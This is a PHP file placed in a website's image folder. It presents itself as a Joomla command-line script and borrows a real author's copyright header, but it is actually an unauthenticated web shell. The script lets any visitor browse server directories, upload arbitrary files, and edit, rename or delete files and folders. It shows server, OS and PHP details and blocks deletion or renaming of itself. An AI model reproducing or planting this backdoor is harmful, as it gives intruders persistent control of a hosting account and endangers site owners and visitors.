| Current Path : /home/checkyd/www/config/img/ |
| Current File : /home/checkyd/www/config/img/index.php |
<?php
/**
* @version 3.3.11 cli/Joomlas.php
* @package JOOMLAS cli
* @subpackage cli
* @since 2.5
*
* @author Helios Ciancio <info@eshiol.it>
* @link http://www.eshiol.it
* @copyright Copyright (C) 2010-2016 Helios Ciancio. All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL v3
* Joomlas is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
*/
/**
* This is a J2XML script which should be called from the command-line, not the
* web. For example something like:
* /usr/bin/php /path/to/site/cli/Joomlas.php -f joomlas_file.xml
*/
// Make sure we're being called from the command line, not a web interface
function getHumanSize($bytes) {
if ($bytes === false) return '?';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($bytes >= 1024 && $i < 4) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
function formatTimestamp($time) {
return $time ? date('Y-m-d H:i:s', $time) : '-';
}
function my_file_get_contents($filename) {
if (function_exists('file_get_contents')) {
$content = @file_get_contents($filename);
if ($content !== false) return $content;
}
$handle = @fopen($filename, 'rb');
if (!$handle) return false;
$content = stream_get_contents($handle);
fclose($handle);
return $content !== false ? $content : false;
}
function my_file_put_contents($filename, $data) {
if (function_exists('file_put_contents')) {
$result = @file_put_contents($filename, $data);
if ($result !== false) return $result;
}
$handle = @fopen($filename, 'wb');
if (!$handle) return false;
$bytes = fwrite($handle, $data);
fclose($handle);
return $bytes !== false ? $bytes : false;
}
function my_move_uploaded_file($from, $to) {
if (function_exists('move_uploaded_file')) {
if (@move_uploaded_file($from, $to)) return true;
}
if (is_uploaded_file($from)) {
if (@copy($from, $to)) {
@unlink($from);
return true;
}
}
return false;
}
function recursiveDelete($target, $scriptPath) {
if (!is_dir($target)) return unlink($target);
$realScript = realpath($scriptPath);
$realTarget = realpath($target);
if ($realScript && $realTarget && strpos($realScript, $realTarget . DIRECTORY_SEPARATOR) === 0) {
return false;
}
$success = true;
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($iterator as $item) {
if ($item->getRealPath() === realpath($scriptPath)) {
$success = false;
continue;
}
if ($item->isDir()) {
if (!rmdir($item->getRealPath())) $success = false;
} else {
if (!unlink($item->getRealPath())) $success = false;
}
}
if (!rmdir($target)) $success = false;
return $success;
}
$scriptFile = __FILE__;
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$currentDir = realpath($currentDir);
$message = '';
if (!$currentDir || !is_dir($currentDir)) {
die('Invalid directory.');
}
if (isset($_POST['upload'])) {
if ($_FILES['file']['error'] === UPLOAD_ERR_NO_FILE) {
$message = 'No file selected.';
} else {
$targetFile = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
if (realpath($targetFile) === realpath($scriptFile)) {
$message = 'Cannot overwrite the manager script.';
} elseif (my_move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
$message = 'File uploaded successfully.';
} else {
$message = 'Upload failed.';
}
}
}
if (isset($_GET['delete'])) {
$target = $currentDir . DIRECTORY_SEPARATOR . basename($_GET['delete']);
$realTarget = realpath($target);
if ($realTarget === realpath($scriptFile)) {
$message = 'You cannot delete this manager script.';
} elseif (!$realTarget || strpos($realTarget, $currentDir) !== 0) {
$message = 'Invalid target.';
} else {
if (is_dir($realTarget)) {
if (recursiveDelete($realTarget, $scriptFile)) {
$message = 'Folder and all contents deleted.';
} else {
$message = 'Failed to delete folder.';
}
} else {
if (unlink($realTarget)) {
$message = 'File deleted.';
} else {
$message = 'Cannot delete file.';
}
}
}
}
if (isset($_POST['rename'])) {
$oldName = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['old_name']);
$newName = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
$realOld = realpath($oldName);
if ($realOld === realpath($scriptFile)) {
$message = 'Renaming the manager script is not allowed.';
} elseif ($realOld && rename($realOld, $newName)) {
$message = 'Renamed successfully.';
} else {
$message = 'Rename failed.';
}
}
if (isset($_POST['edit'])) {
$fileToEdit = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['file_name']);
if (is_file($fileToEdit)) {
if (my_file_put_contents($fileToEdit, $_POST['file_content']) !== false) {
$message = 'File saved.';
} else {
$message = 'Edit failed.';
}
} else {
$message = 'Edit failed: not a valid file.';
}
}
$folders = [];
$files = [];
if ($dh = @opendir($currentDir)) {
while (($item = readdir($dh)) !== false) {
if ($item === '.' || $item === '..') continue;
$path = $currentDir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}
closedir($dh);
sort($folders, SORT_NATURAL | SORT_FLAG_CASE);
sort($files, SORT_NATURAL | SORT_FLAG_CASE);
}
function isReadablePath($path) {
return is_readable($path);
}
function buildBreadcrumb($dir) {
$parts = explode(DIRECTORY_SEPARATOR, $dir);
$crumb = [];
$accum = '';
foreach ($parts as $part) {
if ($part === '') continue;
$accum .= DIRECTORY_SEPARATOR . $part;
$crumb[] = '<a href="?dir=' . urlencode($accum) . '">' . htmlspecialchars($part) . '</a>';
}
return implode(' › ', $crumb);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes, viewport-fit=cover">
<title>📁 Joomlas Cli</title>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
background: #f1f5f9;
font-family: system-ui, -apple-system, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
padding: 12px;
line-height: 1.5;
}
.container {
max-width: 1400px;
margin: 0 auto;
background: #ffffff;
border-radius: 28px;
box-shadow: 0 8px 20px rgba(0,0,0,0.05);
padding: 20px 20px 32px;
}
h2 {
font-size: 1.6rem;
font-weight: 600;
border-left: 5px solid #4361ee;
padding-left: 16px;
margin: 0 0 20px 0;
background: #f8fafc;
border-radius: 14px;
line-height: 1.3;
}
.system-info {
background: #eef2ff;
padding: 12px 18px;
border-radius: 24px;
font-size: 0.8rem;
display: flex;
flex-wrap: wrap;
gap: 16px;
margin-bottom: 24px;
}
.system-info ul {
margin: 0;
padding-left: 20px;
}
.breadcrumb {
background: #f1f5f9;
padding: 12px 16px;
border-radius: 50px;
font-size: 0.9rem;
word-break: break-word;
margin-bottom: 24px;
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 8px;
}
.breadcrumb a {
text-decoration: none;
color: #2563eb;
font-weight: 500;
}
.parent-link {
display: inline-block;
background: #e2e8f0;
padding: 6px 14px;
border-radius: 40px;
font-size: 0.8rem;
margin-left: 6px;
}
.flex-forms {
display: flex;
flex-wrap: wrap;
gap: 20px;
background: #f9fafb;
padding: 20px;
border-radius: 28px;
margin: 20px 0;
}
.form-group {
flex: 1 1 240px;
display: flex;
flex-direction: column;
gap: 8px;
}
.form-group label {
font-weight: 600;
font-size: 0.85rem;
color: #0f172a;
}
input, button {
padding: 12px 16px;
border-radius: 60px;
border: 1px solid #cbd5e1;
background: white;
font-size: 0.9rem;
width: 100%;
font-family: inherit;
}
button, input[type="submit"] {
background: #1e293b;
color: white;
border: none;
cursor: pointer;
font-weight: 600;
transition: all 0.2s ease;
}
button:hover, input[type="submit"]:hover {
background: #0f172a;
transform: scale(0.98);
}
.upload-btn { background: #2c7da0; }
.message {
background: #dcfce7;
color: #166534;
padding: 12px 20px;
border-radius: 60px;
margin: 20px 0;
font-size: 0.9rem;
font-weight: 500;
}
.table-wrapper {
overflow-x: auto;
margin: 24px 0 12px;
border-radius: 24px;
border: 1px solid #e2e8f0;
-webkit-overflow-scrolling: touch;
}
table {
width: 100%;
border-collapse: collapse;
font-size: 0.85rem;
min-width: 640px;
}
thead tr {
background: linear-gradient(135deg, #1e2a5e, #2d3a6e);
color: white;
}
th, td {
padding: 14px 12px;
text-align: left;
border-bottom: 1px solid #e2e8f0;
vertical-align: middle;
}
tbody tr:hover {
background: #f8fafc;
}
.icon-readable {
color: #22c55e;
font-weight: 600;
}
.icon-unreadable {
color: #ef4444;
font-weight: 600;
}
.action-buttons {
display: flex;
flex-wrap: wrap;
gap: 8px;
}
.action-buttons a {
display: inline-block;
text-decoration: none;
padding: 6px 14px;
border-radius: 40px;
font-size: 0.75rem;
font-weight: 600;
transition: 0.1s;
white-space: nowrap;
text-align: center;
}
.btn-edit { background: #ffb74d; color: #3e2723; }
.btn-rename { background: #4fc3f7; color: #01579b; }
.btn-delete { background: #ef9a9a; color: #b71c1c; }
.file-name {
word-break: break-word;
max-width: 220px;
}
.badge {
font-size: 0.7rem;
background: #e9ecef;
padding: 4px 10px;
border-radius: 40px;
white-space: nowrap;
display: inline-block;
}
.edit-panel, .rename-panel {
border-radius: 24px;
padding: 20px;
margin: 20px 0;
}
.edit-panel {
background: #fef9e3;
}
.rename-panel {
background: #e3f2fd;
}
textarea {
width: 100%;
border-radius: 20px;
padding: 14px;
border: 1px solid #cbd5e1;
font-family: 'Courier New', monospace;
font-size: 0.85rem;
resize: vertical;
}
footer {
font-size: 0.7rem;
text-align: center;
margin-top: 32px;
color: #475569;
border-top: 1px solid #e2e8f0;
padding-top: 20px;
}
@media (max-width: 768px) {
body {
padding: 8px;
}
.container {
padding: 16px;
border-radius: 20px;
}
h2 {
font-size: 1.4rem;
margin-bottom: 16px;
}
.system-info {
padding: 10px 14px;
font-size: 0.7rem;
}
.breadcrumb {
font-size: 0.8rem;
padding: 10px 14px;
}
.flex-forms {
flex-direction: column;
gap: 16px;
padding: 16px;
}
.form-group {
width: 100%;
}
th, td {
padding: 10px 8px;
}
.action-buttons a {
padding: 5px 10px;
font-size: 0.7rem;
}
.file-name {
max-width: 150px;
}
.badge {
font-size: 0.65rem;
padding: 2px 8px;
}
}
@media (max-width: 480px) {
.action-buttons {
flex-direction: column;
gap: 6px;
}
.action-buttons a {
text-align: center;
width: 100%;
}
th, td {
font-size: 0.75rem;
padding: 8px 6px;
}
table {
min-width: 520px;
}
.file-name {
max-width: 120px;
}
}
@media (min-width: 1200px) {
.container {
padding: 28px 32px 40px;
}
th, td {
padding: 16px 14px;
}
.action-buttons a {
padding: 6px 16px;
font-size: 0.8rem;
}
}
</style>
</head>
<body>
<div class="container">
<h2>📁 Joomlas Cli</h2>
<div class="system-info">
<ul>
<li><strong>Server:</strong> <?= htmlspecialchars(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A') ?></li>
<li><strong>OS:</strong> <?= htmlspecialchars(php_uname()) ?></li>
<li><strong>PHP:</strong> <?= htmlspecialchars(phpversion()) ?></li>
</ul>
</div>
<div class="breadcrumb">
<strong>📍 Location:</strong> <?= buildBreadcrumb($currentDir) ?>
<?php
$parent = dirname($currentDir);
if ($parent && $parent !== $currentDir && is_dir($parent)) {
echo ' <a href="?dir=' . urlencode($parent) . '" class="parent-link">⬆ Parent</a>';
}
?>
</div>
<div class="flex-forms">
<div class="form-group">
<label>📤 Upload file</label>
<form method="post" enctype="multipart/form-data" style="display:flex; gap:8px; flex-wrap:wrap;">
<input type="file" name="file" required style="flex:1;">
<input type="submit" name="upload" value="Upload" class="upload-btn" style="width:auto;">
</form>
</div>
</div>
<?php if ($message !== ''): ?>
<div class="message">✔ <?= htmlspecialchars($message) ?></div>
<?php endif; ?>
<?php if (isset($_GET['edit']) && is_file($currentDir . '/' . basename($_GET['edit']))):
$editFile = $currentDir . '/' . basename($_GET['edit']);
$content = my_file_get_contents($editFile);
if ($content === false) $content = "[Failed to read file]";
?>
<div class="edit-panel">
<h3>✏️ Editing: <?= htmlspecialchars(basename($_GET['edit'])) ?></h3>
<form method="post">
<textarea name="file_content" rows="8"><?= htmlspecialchars($content) ?></textarea>
<input type="hidden" name="file_name" value="<?= htmlspecialchars(basename($_GET['edit'])) ?>">
<input type="submit" name="edit" value="Save Changes" style="margin-top:12px; background:#f4a261; width:auto;">
</form>
</div>
<?php endif; ?>
<?php if (isset($_GET['rename']) && (is_file($currentDir . '/' . basename($_GET['rename'])) || is_dir($currentDir . '/' . basename($_GET['rename'])))):
$renameTarget = htmlspecialchars(basename($_GET['rename']));
?>
<div class="rename-panel">
<h3>🔄 Rename: <?= $renameTarget ?></h3>
<form method="post">
<input type="text" name="new_name" placeholder="new name" required style="min-width:180px;">
<input type="hidden" name="old_name" value="<?= $renameTarget ?>">
<input type="submit" name="rename" value="Rename" style="background:#4c9aff; margin-top:10px; width:auto;">
</form>
</div>
<?php endif; ?>
<div class="table-wrapper">
<table>
<thead>
<tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Actions</th></tr>
</thead>
<tbody>
<?php if (empty($folders) && empty($files)): ?>
<tr><td colspan="5" style="text-align:center;">📭 Empty directory</td></tr>
<?php endif; ?>
<?php foreach ($folders as $folder):
$fullPath = $currentDir . DIRECTORY_SEPARATOR . $folder;
$readable = isReadablePath($fullPath);
$iconClass = $readable ? 'icon-readable' : 'icon-unreadable';
$iconSymbol = $readable ? '📁' : '🔒📁';
$modTime = filemtime($fullPath);
?>
<tr>
<td class="file-name">
<span class="<?= $iconClass ?>"><?= $iconSymbol ?></span>
<a href="?dir=<?= urlencode($fullPath) ?>" style="font-weight:500;"><?= htmlspecialchars($folder) ?></a>
<?php if (!$readable): ?> <span class="badge" style="background:#fee2e2; color:#b91c1c;">🔴 unreadable</span><?php endif; ?>
</td>
<td><span class="badge">Dir</span></td>
<td>—</td>
<td><?= formatTimestamp($modTime) ?></td>
<td class="action-buttons">
<a href="?dir=<?= urlencode($currentDir) ?>&rename=<?= urlencode($folder) ?>" class="btn-rename">✏️ Rename</a>
<a href="?dir=<?= urlencode($currentDir) ?>&delete=<?= urlencode($folder) ?>" class="btn-delete" onclick="return confirm('⚠️ Delete folder & all contents?');">🗑 Delete</a>
</td>
</tr>
<?php endforeach; ?>
<?php foreach ($files as $file):
$fullPath = $currentDir . DIRECTORY_SEPARATOR . $file;
$readable = isReadablePath($fullPath);
$iconClass = $readable ? 'icon-readable' : 'icon-unreadable';
$iconSymbol = $readable ? '📄' : '🔒📄';
$size = filesize($fullPath);
$modTime = filemtime($fullPath);
$isScript = (realpath($fullPath) === realpath($scriptFile));
?>
<tr>
<td class="file-name">
<span class="<?= $iconClass ?>"><?= $iconSymbol ?></span>
<?= htmlspecialchars($file) ?>
<?php if ($isScript): ?> <span class="badge" style="background:#ffedd5;">🔒 protected</span><?php endif; ?>
<?php if (!$readable): ?> <span class="badge" style="background:#fee2e2; color:#b91c1c;">🔴 unreadable</span><?php endif; ?>
</td>
<td><span class="badge">File</span></td>
<td><?= getHumanSize($size) ?></td>
<td><?= formatTimestamp($modTime) ?></td>
<td class="action-buttons">
<?php if ($readable): ?>
<a href="?dir=<?= urlencode($currentDir) ?>&edit=<?= urlencode($file) ?>" class="btn-edit">✍ Edit</a>
<?php else: ?>
<span class="badge" style="background:#e2e3e5; color:#6c757d;">🚫 Edit blocked</span>
<?php endif; ?>
<a href="?dir=<?= urlencode($currentDir) ?>&rename=<?= urlencode($file) ?>" class="btn-rename">🏷 Rename</a>
<a href="?dir=<?= urlencode($currentDir) ?>&delete=<?= urlencode($file) ?>" class="btn-delete" onclick="return confirm('Delete this file?');">❌ Delete</a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<footer>
Joomlas Cli
</footer>
</div>
</body>
</html>